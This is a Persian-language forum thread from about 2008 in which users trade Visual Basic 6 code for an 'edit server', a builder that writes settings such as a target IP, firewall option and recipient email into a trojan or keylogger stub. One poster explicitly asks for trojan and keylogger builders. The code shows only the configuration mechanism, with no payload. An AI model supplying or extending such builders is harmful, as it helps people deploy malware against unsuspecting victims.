امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
آموزش ساخت ادیت سرور
نویسنده پیام
ΛΛ Θ l-l $ Σ Ω آفلاین
کاربر با تجربه
****

ارسال‌ها: 739
موضوع‌ها: 147
تاریخ عضویت: مهر ۱۳۸۶

تشکرها : 219
( 187 تشکر در 98 ارسال )
ارسال: #1
آموزش ساخت ادیت سرور
سلام
آموزش ساخت ادیت سرور رو می خواستم توی اینترنت خیلی سرچ کردم اما چیز بدرد بخوری نبود اگه میشه یه توضیحی بدید
ممنون Clap

Exclamation
۰۸-اسفند-۱۳۸۶, ۱۵:۴۳:۲۵
ارسال‌ها
پاسخ
تشکر شده توسط : mahdi321
sayberiya آفلاین
در حال پیشرفت
***

ارسال‌ها: 256
موضوع‌ها: 48
تاریخ عضویت: دى ۱۳۸۶

تشکرها : 63
( 467 تشکر در 128 ارسال )
ارسال: #2
RE: آموزش ساخت ادیت سرور
آره ایول منم گشتم هیچی نبود.اگه میشه ساخت ادیت سرور برای تروجان و کیلاگر باشه بهتره
۰۸-اسفند-۱۳۸۶, ۱۶:۵۶:۱۲
ارسال‌ها
پاسخ
تشکر شده توسط : mahdi321
yeketaz آفلاین
کاربر با تجربه
****

ارسال‌ها: 744
موضوع‌ها: 123
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 520
( 1050 تشکر در 294 ارسال )
ارسال: #3
RE: آموزش ساخت ادیت سرور
با سلام به دوستان

من تصمیم دارم اولین پستم را اینجا بنویسم

اولا آموزش ساخت یک ادیت سرور یه کوچولو طولانیه

پس بهتره عمده ترین مشکلت رو توی ساخت یک ادیت سرور بنویسی

که مثلا توی تغییر آیکون یا ذخیره اطلاعات و یا ... مشکل داری

تا من هر مطلبی خواستی در اختیارت بزارم

ما که دیگه توی ایران ویج پیر شدیم 040 کم کم باید جامون رو بدیم به جوونا 028
۰۸-اسفند-۱۳۸۶, ۱۷:۰۷:۳۵
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : mahdi321
ΛΛ Θ l-l $ Σ Ω آفلاین
کاربر با تجربه
****

ارسال‌ها: 739
موضوع‌ها: 147
تاریخ عضویت: مهر ۱۳۸۶

تشکرها : 219
( 187 تشکر در 98 ارسال )
ارسال: #4
RE: آموزش ساخت ادیت سرور
اگه میشه این ها رو توضیح بدید که چی کار میکنن Confused
کد:
[size=medium]Edit Server[/size]:

On Local Error GoTo errTrap

Dim BeginP As Long

Dim Bag As New PropertyBag

Dim Temp As Variant

Dim mahmoud() As Byte

Dim er As String

With Bag

.WriteProperty "id", id.Text

.WriteProperty "force", force.Value

.WriteProperty "dial", dial.Value

.WriteProperty "user", user.Value

.WriteProperty "com", com.Value

.WriteProperty "fire", fire.Value

.WriteProperty "IP", ip.Value

.WriteProperty "image", preview.Image1.Picture

    End With

    Open App.Path + "\" + "serv.exe" For Binary As #2

    mahmoud = LoadResData(101, "CUSTOM")

    Put #2, , mahmoud()

    Close #2

     FileCopy App.Path & "\serv.exe", App.Path & "\" & SrvName.Text
  

    Open App.Path & "\" & SrvName.Text For Binary As #1

        BeginP = LOF(1)

                
        Temp = Bag.Contents

                
        Seek #1, LOF(1)

        Put #1, , Temp

        Put #1, , BeginP

    Close #1

  

  Kill App.Path + "\" + "serv.exe"

  Exit Sub



errTrap:

MsgBox Err.Description, vbCritical, "Error"


در اينجا تمام اطلاعات در يك Property Bag نوشته مي شود و بعد هم مي ره داخل سرور!

فقط بايد بدونيد كه من ابتدا ريسورس فايل سرور رو داخل اديت سرور قرار دادم. براي اين كارابتدا از قسمت Add-in Manager ، VB6 Resource Editor رو فغال كنيد .بعد رو كليك كنيد . حالا Add Custom Resource رو بزنيد و فايل سرور رو انتخاب كنيد.مي تونيد اسم اين ريسورس رو هم عوض كنيد البته من همون 101 رو به صورت پيشفرض انتخاب كردم.قسمتهايي هم كه در كد بالا خط كشيدم مربوط به لود كردن همين ريسورس و تبديل آن به فايل اجرايي است.

حالا كدهاي مربوط به سرور و نحوه ي خوندن اطلاعات رو بررسي مي كنيم.
کد:
[size=medium]Server[/size]:

On Local Error Resume Next

Dim BeginP As Long

Dim Temp As Variant

Dim bArr() As Byte

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1

Get #1, LOF(1) - 3, BeginP

Seek #1, BeginP

        Get #1, , Temp

        

        Arr = Temp

        Bag.Contents = Arr

        Bag.WriteProperty "LOF", LOF(1)

        Bag.WriteProperty "BeginPos", BeginPos



   Close #1



    With Bag

    ID.Caption = .ReadProperty("id")

     FileNameInstall.Caption = .ReadProperty("filename")

     Username.Value = .ReadProperty("user")

      Computername.Value = .ReadProperty("com")

      Firewall.Value = .ReadProperty("fire")

Rand.Enabled = .ReadProperty("rand")

End With

Exclamation
۰۸-اسفند-۱۳۸۶, ۱۷:۲۲:۵۳
ارسال‌ها
پاسخ
تشکر شده توسط : mahdi321
ΛΛ Θ l-l $ Σ Ω آفلاین
کاربر با تجربه
****

ارسال‌ها: 739
موضوع‌ها: 147
تاریخ عضویت: مهر ۱۳۸۶

تشکرها : 219
( 187 تشکر در 98 ارسال )
ارسال: #5
RE: آموزش ساخت ادیت سرور
yeketaz نوشته است:با سلام به دوستان

من تصمیم دارم اولین پستم را اینجا بنویسم

اولا آموزش ساخت یک ادیت سرور یه کوچولو طولانیه

پس بهتره عمده ترین مشکلت رو توی ساخت یک ادیت سرور بنویسی

که مثلا توی تغییر آیکون یا ذخیره اطلاعات و یا ... مشکل داری

تا من هر مطلبی خواستی در اختیارت بزارم
سلام
من می خوام آدرس ایمیل سرور رو با ادیت سرور تغییر بدم همین Wink

Exclamation
۰۸-اسفند-۱۳۸۶, ۱۷:۲۷:۲۸
ارسال‌ها
پاسخ
تشکر شده توسط : mahdi321
yeketaz آفلاین
کاربر با تجربه
****

ارسال‌ها: 744
موضوع‌ها: 123
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 520
( 1050 تشکر در 294 ارسال )
ارسال: #6
RE: آموزش ساخت ادیت سرور
آقا محسن ممنون از توضیحاتت

آدرس ایمیل رو هم می تونی از طریق PropertyBag تغییر بدی یعنی اول توی اون بنویسی و سپس از توی سرور

ایمیل رو بخونی.

مثلا:

Dim Databag as new PropertyBag

Databag.writeproperty "Email",Text1.text

بعد هم کد درون سرور

("Email=Databag.ReadProperty ("Email

البته استفاده از این روش با اینکه کار رو بسیار راحت می کنه یه مشکل داره که احتمالا زیاد شنیدی و

می دونی که پس از پک شدن از کار میفته

می تونی از روش jps VM هم استفاده کنی مثل:

"appc = App.Path + "\" + App.EXEName + ".exe
Open appc For Binary As 1
Seek #1, 20000
Put #1, , Text1.Text
Close #1

بعد هم از توی سرور می خونی :

Dim Email as string
"appc = App.Path + "\" + App.EXEName + ".exe
Open appc For Binary As 1
Seek #1, 20000
Get #1, , Email
Close #1

متغیر Email حوی آدرس ایمیل خواهد بود

البته این روش هم مشلات خوش را دارد و باید خیلی به مکانی ذخیره سازی اطلاعات که اینجا 20000 است دقت کنی

روش های دیگری هم اگر هست من بلد نیستم اگر کسی بلده بگه تا ما هم فیض ببریم

اگر کسی جای از کدها رو نفهمید بگه

(((((((((((((چون رکات علم آموزش آن آست)))))))))))))

ما که دیگه توی ایران ویج پیر شدیم 040 کم کم باید جامون رو بدیم به جوونا 028
(آخرین ویرایش در این ارسال: ۱۰-اسفند-۱۳۸۶, ۲۲:۴۵:۱۰، توسط yeketaz.)
۰۸-اسفند-۱۳۸۶, ۲۳:۴۸:۲۱
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : mahdi321
ΛΛ Θ l-l $ Σ Ω آفلاین
کاربر با تجربه
****

ارسال‌ها: 739
موضوع‌ها: 147
تاریخ عضویت: مهر ۱۳۸۶

تشکرها : 219
( 187 تشکر در 98 ارسال )
ارسال: #7
RE: آموزش ساخت ادیت سرور
سلام yeketaz از توضیحات ممنون
اگه میشه یه مثال برام بزن ، یه آدرس ایمیل رو ادیت کنی
ممنون

Exclamation
۱۰-اسفند-۱۳۸۶, ۱۸:۱۳:۲۰
ارسال‌ها
پاسخ
تشکر شده توسط : mahdi321
yeketaz آفلاین
کاربر با تجربه
****

ارسال‌ها: 744
موضوع‌ها: 123
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 520
( 1050 تشکر در 294 ارسال )
ارسال: #8
RE: آموزش ساخت ادیت سرور
mohsen_f نوشته است:اگه میشه یه مثال برام بزن ، یه آدرس ایمیل رو ادیت کنی
کد های ادیت سرور
نقل قول: Dim File() As Byte
Dim DataTemp As Variant
Dim BeginPos As Long
Dim DataBag As New PropertyBag
File() = LoadResData(101, "CUSTOM")
DataBag.WriteProperty "Email", Text1.Text
DataTemp = DataBag.Contents
Open App.Path + "\Server.exe" For Binary As 1
Put #1, , File()
Seek #1, LOF(1)
BeginPos = LOF(1)
Put #1, , DataTemp
Put #1, , BeginPos
Close #1

و کد های سرور:
نقل قول: Dim DataTemp As Variant
Dim Email As String
Dim BeginPos As Long
Dim ByteArr As Byte
Dim DataBag As New PropertyBag
Open App.Path + "\" + App.EXEName + ".exe" For Binary As 1
Get #1, LOF(1) - 3, BeginPos
Seek #1, BeginPos
Get #1, , DataTemp
ByteArr = DataTemp
DataBag.Contents = ByteArr
Close #1
Email = DataBag.ReadProperty("Email")

البته ممکن کد بهم ریخته باشه همه کدها را در ویژوال بیسیک کپی کن

درست می شهWink

ما که دیگه توی ایران ویج پیر شدیم 040 کم کم باید جامون رو بدیم به جوونا 028
۱۰-اسفند-۱۳۸۶, ۲۲:۵۷:۲۶
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : mahdi321
ΛΛ Θ l-l $ Σ Ω آفلاین
کاربر با تجربه
****

ارسال‌ها: 739
موضوع‌ها: 147
تاریخ عضویت: مهر ۱۳۸۶

تشکرها : 219
( 187 تشکر در 98 ارسال )
ارسال: #9
RE: آموزش ساخت ادیت سرور
سلام
این خط برنامت ارور میده نشدAngry
کد:
Get #1, LOF(1) - 3, BeginPos
-----------------------------------------------------------------------------------
به نگاه به برنامه من بنداز ببین مشکلش کجاست؟
6 7 کلمه بیشتر نمشه وارد کرد ، و کلمه قبلی پاک نمیشه

Exclamation
۱۰-اسفند-۱۳۸۶, ۲۳:۲۸:۳۲
ارسال‌ها
پاسخ
yeketaz آفلاین
کاربر با تجربه
****

ارسال‌ها: 744
موضوع‌ها: 123
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 520
( 1050 تشکر در 294 ارسال )
ارسال: #10
RE: آموزش ساخت ادیت سرور
دوست من این کد وقتی اجرا می شه که فایل توسط ادیت سرور ادیت و اطلاعات آخر اون نوشته شده باشه!!!!!!

پس همین طوری نمی تونی اونو اجرا کنی

و این خط خیلی مهمه چون محل ذخیره سازی اطلاعات رو می ده و اگر اشتباه بشه کل برنامه بر فناست

------------------------------------------------------------------------------------------------------------------

برنامه ات را هم برداشتم که ببینم مشکلش چیه

ما که دیگه توی ایران ویج پیر شدیم 040 کم کم باید جامون رو بدیم به جوونا 028
۱۱-اسفند-۱۳۸۶, ۱۸:۵۶:۵۰
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : mahdi321
yeketaz آفلاین
کاربر با تجربه
****

ارسال‌ها: 744
موضوع‌ها: 123
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 520
( 1050 تشکر در 294 ارسال )
ارسال: #11
RE: آموزش ساخت ادیت سرور
برنامه ات را دیدم فکر کنم می خوای اطلاعات Text1 رو توی فایل نوشته و سپس از اون بخونی

این دو تا برنامه (EditServer و Server)هیچ ربطی به هم ندارن

پس انتظار خوندن اطلاعات را هم نداشته باش

من خودم برات یه برنامه می نویسم با تمام توضیحات تا کاملا متوجه بشی

ما که دیگه توی ایران ویج پیر شدیم 040 کم کم باید جامون رو بدیم به جوونا 028
۱۱-اسفند-۱۳۸۶, ۱۹:۰۲:۳۰
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : mahdi321


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  آموزش ساخت ستاپ برای برنامه Iron_Fist 48 58,427 ۲۵-دى-۱۳۹۲, ۱۵:۲۶:۳۴
آخرین ارسال: javad917
Question [سوال] ارتباط با سرور Voice یاهو W-I-L-S-O-N 0 2,521 ۰۵-شهریور-۱۳۹۱, ۱۴:۰۲:۳۶
آخرین ارسال: W-I-L-S-O-N
  آموزش ساخت ویروس و تروجان apcog 0 10,186 ۳۱-مرداد-۱۳۹۱, ۱۵:۱۴:۱۱
آخرین ارسال: apcog
  فیلم آموزش ساخت کیلاگر با ویژوال بیسیک 2008 naser13 6 7,859 ۳۱-اردیبهشت-۱۳۹۱, ۱۰:۴۸:۰۱
آخرین ارسال: eai
  برنامه کلاینت سرور و مشاهده تصویر با دوربین (وبکم) goldpower 0 2,686 ۱۶-اسفند-۱۳۹۰, ۱۴:۱۴:۳۰
آخرین ارسال: goldpower
Rolleyes آموزش به دست آوردن تاریخ و ساعت سرور 1120 0 7,708 ۰۶-شهریور-۱۳۹۰, ۱۷:۰۷:۵۸
آخرین ارسال: 1120
  اتصال چندین کلاینت به یک سرور amiraliforoozandeh 1 2,851 ۲۲-شهریور-۱۳۸۹, ۰۱:۲۹:۲۵
آخرین ارسال: Payman62
  {لطفا کمک کنید} استفاده ار مولتی ترد در سرور و کلاینت ها hacker0771 1 2,846 ۲۵-تير-۱۳۸۹, ۲۲:۴۷:۳۶
آخرین ارسال: CRazYFULL
  سرور یاهو mohamadpk 7 6,438 ۲۵-فروردین-۱۳۸۹, ۲۳:۵۸:۵۰
آخرین ارسال: Scorpion
  پخش فایل رد سرور krengaroo 4 4,199 ۰۱-دى-۱۳۸۸, ۲۱:۳۹:۰۰
آخرین ارسال: krengaroo

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 1 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS